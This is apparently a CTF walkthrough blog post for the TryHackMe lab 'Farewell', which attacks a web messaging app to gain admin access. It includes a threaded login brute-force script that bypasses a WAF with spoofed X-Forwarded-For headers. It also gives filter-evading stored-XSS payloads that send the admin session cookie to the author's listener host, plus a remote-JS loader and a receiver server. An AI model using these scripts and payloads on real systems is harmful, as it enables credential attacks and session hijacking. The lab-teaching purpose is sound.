Post

Farewell - TryHackMe - Walkthrough

Brute force credentials for a user and exploit a hidden XSS vulnerability to get admin.

Farewell - TryHackMe - Walkthrough

Introduction

In this write-up I will go through the CTF challenge Farewell on TryHackMe. The challenge, which is rated medium, can be found here and begins with a short introduction:

The farewell server will be decommissioned in less than 24 hours. Everyone is asked to leave one last message, but the admin panel holds all submissions. Can you sneak into the admin area and read every farewell message before the lights go out?

Initial Recon

As stated in the description of the challenge the goal is to breach the web application and gain admin privileges. The first look at the web page shows a simple login page. Above the login we can see a running banner which shows 3 users which have posted the most recent messages.

This recent activity banner reveals 3 users, who are active on the platform:

  • adam
  • deliver11
  • nora

To verify the existence of the usernames, we can check if the usernames work for the login page. For that you can compare a non-existing user with a valid user from leaked usernames. Fortunately, the web application responds with a different error if a valid user is provided.

To gain a clearer understanding of the application’s structure, you can run a gobuster scan to enumerate directories and application files.

1
2
3
4
5
6
7
8
9
10
11
$ gobuster dir -u  http://10.10.109.181/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

/.php                 (Status: 403) [Size: 780]
/index.php            (Status: 200) [Size: 5246]
/info.php             (Status: 200) [Size: 87586]
/admin.php            (Status: 403) [Size: 780]
/status.php           (Status: 200) [Size: 3467]
/javascript           (Status: 301) [Size: 319] [--> http://10.10.109.181/javascript/]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/auth.php             (Status: 403) [Size: 780]
/dashboard.php        (Status: 302) [Size: 0] [--> /]

The file info.php looks particularly interesting, additionally it has a huge size.

The PHP file simply executes the phpinfo() function and shows a massive amount of debugging information. This site can be used for XSS if the cookie is HttpOnly.

Normal User Flag

While checking the raw login request you can find useful data in the HTTP response of the server which is not visible on the web page: The response contains a password hint for the user and the last login time.

1
2
3
4
5
6
7
8
{
  "error": "auth_failed",
  "user": {
    "name": "adam",
    "last_password_change": "2025-10-21 09:12:00",
    "password_hint": "favorite pet + 2"
  }
}

The password hint of the user adam reveals some parts of the password, but there are other users with passwords which may be easier to guess/brute force.

You can extract the following password hints by simply using the found usernames from the login page, additionally you may try the usual admin which will also result in another password hint for this user.

User NamePassword Hint
adamfavorite pet + 2
adminthe year plus a kind send-off
deliver11Capital of Japan followed by 4 digits
noralucky number 789

WAF

For the users nora and admin you can try the passwords 789, 2025Farewell and some variations. While trying these passwords you may hit the WAF (Web Application Firewall).

After several invalid password attempts the Firewall blocks you from sending more login requests. Fortunately the firewall can be bypassed by simply adding a X-Forwarded-For header, this way the web application interprets the request as coming from another IP address through a proxy server.

The manual brute force works again through the X-Forwarded-For header and a random IP

After bypassing the WAF, I decided to brute force the password for the user deliver11. This user’s password structure is easy to brute force with a simple script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import random
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://10.10.109.181/auth.php"
username = "deliver11"

# Based on hint: "Capital of Japan followed by 4 digits"
# Capital of Japan is Tokyo
base_password = "Tokyo"


def random_ip():
    """Generate a random IP address"""
    return f"{random.randint(1, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 255)}"

def try_password(i):
    """Try a single password"""
    password = f"{base_password}{i:04d}"
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0",
        "X-Forwarded-For": random_ip()
    }
    
    data = {
        "username": username,
        "password": password
    }
    
    try:
        response = requests.post(url, data=data, headers=headers, timeout=5)
        
        if response.status_code == 200:
            json_response = response.json()
            
            if "error" not in json_response or json_response.get("error") != "auth_failed":
                return (True, password, response.text)
        
        if i % 100 == 0:
            print(f"[*] Trying: {password}")
            
    except Exception as e:
        pass
    
    return (False, password, None)

print("[*] Starting brute force with 20 threads...")
with ThreadPoolExecutor(max_workers=20) as executor:
    futures = [executor.submit(try_password, i) for i in range(10000)]
    
    for future in as_completed(futures):
        success, password, response = future.result()
        if success:
            print(f"\n[+] SUCCESS! Password found: {password}")
            print(f"[+] Response: {response}")

            for f in futures:
                f.cancel()
            break

print("[*] Brute force complete")

The script uses:

  • threading to improve performance
  • my browsers User-Agent, because otherwise the WAF will block the request
  • a random IP in the X-Forwarded-For header

After running the script the password is found fast.

1
2
3
4
5
6
7
8
9
$ python3 brute.py 
[*] Starting brute force with 20 threads...
[*] Trying: Tokyo0000
[*] Trying: Tokyo0100
....

[+] SUCCESS! Password found: REDACTED
[+] Response: {"success":true,"redirect":"\/dashboard.php"}
[*] Brute force complete

With the credentials the web page shows the user flag.

Admin User Flag

The newly accessible dashboard provides a simple messaging interface. Below the input, the last send messages for the user are shown. Messaging interfaces are a nice place to test for XSS, you can use a simple img tag for the payload (<img src="http://10.14.78.229:9001/is_there_a_xss" />, replace your IP!). Although the HTML is not rendered in the browser, the listener receives a request coming from the challenge box. This hints that there is another dashboard for admin, probably admin.php, which shows the messages and is not hardened against XSS.

To escalate the XSS vuln, we can add the onerror attribute to the img element, however this request was flagged by the WAF and the response returned the same page as above. After some modifications of the initial payload you can find a workable payload. Below my process of testing is shown.

1
2
3
4
<img src=1 onerror="" /> # doesn't work
<img src=1 OnErRoR="" /> # works
<img src=1 OnErRoR="fetch('http://10.14.78.229:9001/is_there_a_xss')" /> # doesn't work
<img src=1 OnErRoR="eval(atob('ZmV0Y2goJ2h0dHA6Ly8xMC4xNC43OC4yMjk6OTAwMi94c3MnKQ=='))" /> # works and triggers listener

So it is possible to execute any payload by base64 encoding it and using eval(atob()) to convert the payload back to executable code. While testing this further for another kind of payload I triggered this error: Maximum 100 characters allowed..

The length of <img src=1 OnErRoR="eval(atob(' and '))" /> is 39 characters, so you can encode only 45 characters to base64.

If you check the cookie you will see that it has not set the HttpOnly flag. So you can simply use document.cookie to extract the session cookie of the admin user.

1
fetch('//10.14.78.229:9001/'+document.cookie)

Next you can base64 encode the payload and paste it in the atob() function:

1
<img src=1 OnErRoR="eval(atob('ZmV0Y2goJy8vMTAuMTQuNzguMjI5OjkwMDEvJytkb2N1bWVudC5jb29raWUp'))" />

After sending the payload and setting up a netcat listener you will receive the cookie shortly.

1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.231.52 39782
GET /PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Host: 10.14.78.229:9001
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
Accept-Language: en-US,en;q=0.9
Accept: */*
Origin: http://localhost
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Secondary Approach

My initial approach to solve this challenge was a bit different. I used the previously discovered info.php to return the flag. This is not needed because the PHP cookie is not HttpOnly, but I think it shows nicely how it could be done if the cookie flag was set.

Fortunately the server doesn’t contain any restrictions for loading external JS files from our server. I first created a Python server which hosts a JS file which is then loaded in the web application.

Initial XSS Payload

For the initial payload, I used a tested img tag that triggers JavaScript execution through the onerror attribute:

1
<img src=1 OnErRoR="eval(atob('aW1wb3J0KCcvLzEwLjE0Ljc4LjIyOS9kLmpzJykudGhlbihtPT5tLmQoKSk='))"/>

The Base64-encoded string decodes to the following JavaScript snippet:

1
import('//10.14.78.229/d.js').then(m=>m.d())

This code dynamically imports the d.js file from my server and then executes its exported d() function.

Second Stage XSS Payload

The d.js file contains the d() function. This function will fetch the previously discovered info.php and filters it for the PHPSESSID, the cookie of the admin. The cookie is then send to my server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
export function d() {
    fetch('/info.php')
        .then(r => r.text())
        .then(d => {
            const lines = d.split('\n');
            const found = lines.find(item => item.includes('PHPSESSID'));
            const regex = /PHPSESSID=([a-z0-9]+)/;

            const sessionId = "PHPSESSID=" + found.match(regex)[1];
            fetch('http://10.14.78.229/session', { method: 'POST', body: sessionId })
        }).catch(e => {
            fetch('http://10.14.78.229/err?e=' + e)
        })
}

Sever Side Code

The server hosts the JS file and handles POST requests to receive the session cookie.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from http.server import SimpleHTTPRequestHandler, HTTPServer

class CORSRequestHandler(SimpleHTTPRequestHandler):
    def end_headers(self):
        if self.path.endswith('.js'):
            self.send_header('Content-Type', 'application/javascript')
        super().end_headers()
    
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        
        if self.path == "/session":
            print("Extracted session value: ",end="")
            print(post_data.decode(),end="")
            print(" go to /admin.php to get the flag!")
        
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

if __name__ == '__main__':
    HTTPServer(('0.0.0.0', 80), CORSRequestHandler).serve_forever()

The process of the exploit is shown here:

After a few seconds there should be a hit from the victim.

1
2
$ sudo python3 server.py 
Extracted session value: PHPSESSID=XXXXXXXXXXXXXXXXXX go to /admin.php to get the flag!

The cookie can now be placed in the browser. If you access the dashboard.php, you will not see the flag, for that go to the /admin.php page. On this page you additionally see all the XSS payloads which are rendered on this page.

This post is licensed under CC BY 4.0 by the author.